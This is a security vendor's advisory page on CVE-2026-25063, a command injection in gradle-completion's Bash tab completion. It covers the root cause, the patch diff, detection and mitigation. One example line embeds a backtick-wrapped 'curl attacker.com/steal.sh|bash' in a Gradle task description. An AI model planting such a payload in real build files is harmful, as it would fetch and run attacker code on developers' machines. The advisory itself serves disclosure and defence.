A Leader in the 2025 Gartner® Magic Quadrant™ for Endpoint Protection Platforms. Five years running.A Leader in the Gartner® Magic Quadrant™Read the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI Security Portfolio
      Leading the Way in AI-Powered Security Solutions
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly ingest data from on-prem, cloud or hybrid environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Identity Security
    • Singularity Identity
      Identity Threat Detection and Response
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-class Expertise and Threat Intelligence.
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      Digital Forensics, IRR & Breach Readiness
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive solutions for seamless security operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • Partner Locator
      Your go-to source for our top partners in your region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-25063

CVE-2026-25063: gradle-completion RCE Vulnerability

CVE-2026-25063 is a command injection flaw in gradle-completion that enables remote code execution through malicious Gradle build files during Bash tab completion. This article covers technical details, affected versions, and mitigations.

Published: January 29, 2026

CVE-2026-25063 Overview

A command injection vulnerability has been discovered in gradle-completion, a popular Bash and Zsh completion support tool for Gradle build automation. This vulnerability allows arbitrary code execution when a user triggers Bash tab completion in a project containing a malicious Gradle build file. The flaw exists in how the gradle-completion script for Bash handles Gradle task names and task descriptions without adequate sanitization.

Critical Impact

Attackers can execute arbitrary code on a developer's machine simply by having them trigger Bash tab completion in a directory containing a malicious Gradle build file, without the user explicitly running any build tasks.

Affected Products

  • gradle-completion versions up to and including 9.3.0
  • Bash shell environments with gradle-completion installed
  • Systems using Bash completion for Gradle projects

Discovery Timeline

  • 2026-01-29 - CVE CVE-2026-25063 published to NVD
  • 2026-01-29 - Last updated in NVD database

Technical Details for CVE-2026-25063

Vulnerability Analysis

This command injection vulnerability (CWE-78) exploits insufficient input sanitization in the gradle-completion Bash script. When a user presses tab to autocomplete Gradle commands, the script reads task information from cached data and processes it in an unsafe manner. The vulnerable code uses command substitution $(...) and word splitting when reading task names and descriptions from cache files.

The core issue lies in how Bash arrays are populated from cached task data. The original implementation used patterns like cached_tasks=( $(grep -v "^:" "$cache_dir/$cached_checksum") ) which performs word splitting and glob expansion on the output. If a malicious Gradle build file includes task descriptions containing backtick-enclosed commands (e.g., `malicious-command`), those commands would be executed during the completion process.

This attack requires local access—specifically, an attacker must plant a malicious build.gradle file in a directory where the victim will use tab completion. This could occur through supply chain attacks on shared repositories or by tricking users into cloning malicious projects.

Root Cause

The root cause is improper handling of untrusted input during Bash array population. The vulnerable code path uses command substitution combined with word splitting to populate the cached_tasks array and construct completion replies. Bash interprets backticks and $(...) constructs within these contexts, leading to command execution when processing task descriptions that contain embedded shell commands.

Attack Vector

The attack requires local access to plant a malicious Gradle build file in a project directory. When a developer navigates to that directory and attempts to use Bash tab completion for Gradle commands (e.g., typing gradle and pressing Tab), the completion script processes task metadata from the build file. A carefully crafted task description containing backtick-enclosed commands triggers arbitrary code execution in the context of the user's shell session.

For example, a malicious Gradle build file could define a task with a description like:

description = "Build task `curl attacker.com/steal.sh|bash`"

When the completion script processes this description to display available tasks, the backtick-enclosed command executes.

The security patch replaces unsafe array population with readarray -t:

text
             local cached_checksum="$(cat "$cache_dir/$cache_name.md5")"
             local -a cached_tasks
             if [[ -z "$cur" ]]; then
-                cached_tasks=( $(grep -v "^:" "$cache_dir/$cached_checksum") )
+                readarray -t cached_tasks < <(grep -v "^:" "$cache_dir/$cached_checksum")
             else
-                cached_tasks=( $(grep "^$cur" "$cache_dir/$cached_checksum") )
+                readarray -t cached_tasks < <(grep "^$cur" "$cache_dir/$cached_checksum")
             fi
-            COMPREPLY=( $(compgen -W "${cached_tasks[*]}" -- "$cur") )
+            COMPREPLY=( "${cached_tasks[@]}" )
         else
             __gradle-notify-tasks-cache-build
         fi

Source: GitHub Commit Reference

Detection Methods for CVE-2026-25063

Indicators of Compromise

  • Unexpected process spawning during Gradle tab completion operations
  • Network connections initiated from Bash shell processes without explicit user commands
  • Modified or suspicious build.gradle or build.gradle.kts files with unusual task descriptions containing backticks or shell metacharacters
  • Evidence of command execution in shell history that the user did not explicitly run

Detection Strategies

  • Monitor for child process creation from Bash completion functions, particularly unexpected network utilities or script interpreters
  • Implement file integrity monitoring on Gradle build files in development environments
  • Scan repositories for Gradle build files containing suspicious patterns in task descriptions (backticks, $(...) constructs)
  • Use endpoint detection to identify unusual process trees originating from interactive shell sessions

Monitoring Recommendations

  • Enable process auditing on developer workstations to detect unexpected command execution during shell operations
  • Implement alerting for network connections from shell processes that lack explicit user-initiated commands
  • Review Gradle project dependencies and build files when cloning new repositories
  • Consider using SentinelOne's behavioral AI to detect anomalous process execution patterns during development activities

How to Mitigate CVE-2026-25063

Immediate Actions Required

  • Update gradle-completion to version 9.3.1 or later immediately
  • Audit all Gradle projects for suspicious task descriptions in build files
  • Review recently cloned or updated repositories for potentially malicious build configurations
  • Temporarily disable Bash completion for Gradle if immediate patching is not possible

Patch Information

The vulnerability has been fixed in gradle-completion version 9.3.1. The patch replaces unsafe command substitution with readarray -t for safe array population, preventing shell interpretation of special characters in task data. The fix is available in commit ecacc32bb882210e5d37cd79a74de1af0d0ccad7.

For detailed security information, refer to the GitHub Security Advisory GHSA-qggc-44r3-cjgv.

Workarounds

  • Remove gradle-completion from .bashrc or .bash_profile to disable Bash completion for Gradle until patching is complete
  • Switch to Zsh completion which is not affected by this vulnerability
  • Manually inspect build.gradle files before using tab completion in untrusted projects
  • Use a sandboxed or containerized development environment when working with untrusted Gradle projects
bash
# Temporarily disable gradle-completion in Bash
# Remove or comment out the following lines in ~/.bashrc or ~/.bash_profile:
# source /path/to/gradle-completion.bash

# To verify gradle-completion is disabled:
complete -p gradle 2>/dev/null || echo "Gradle completion disabled"

# After updating to 9.3.1, re-enable by adding:
# source /path/to/gradle-completion.bash

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechGradle

  • SeverityHIGH

  • CVSS Score8.3

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityHigh
  • AvailabilityHigh
  • CWE References
  • CWE-78
  • Technical References
  • GitHub Commit Reference

  • GitHub Security Advisory GHSA-qggc-44r3-cjgv
Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • English
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use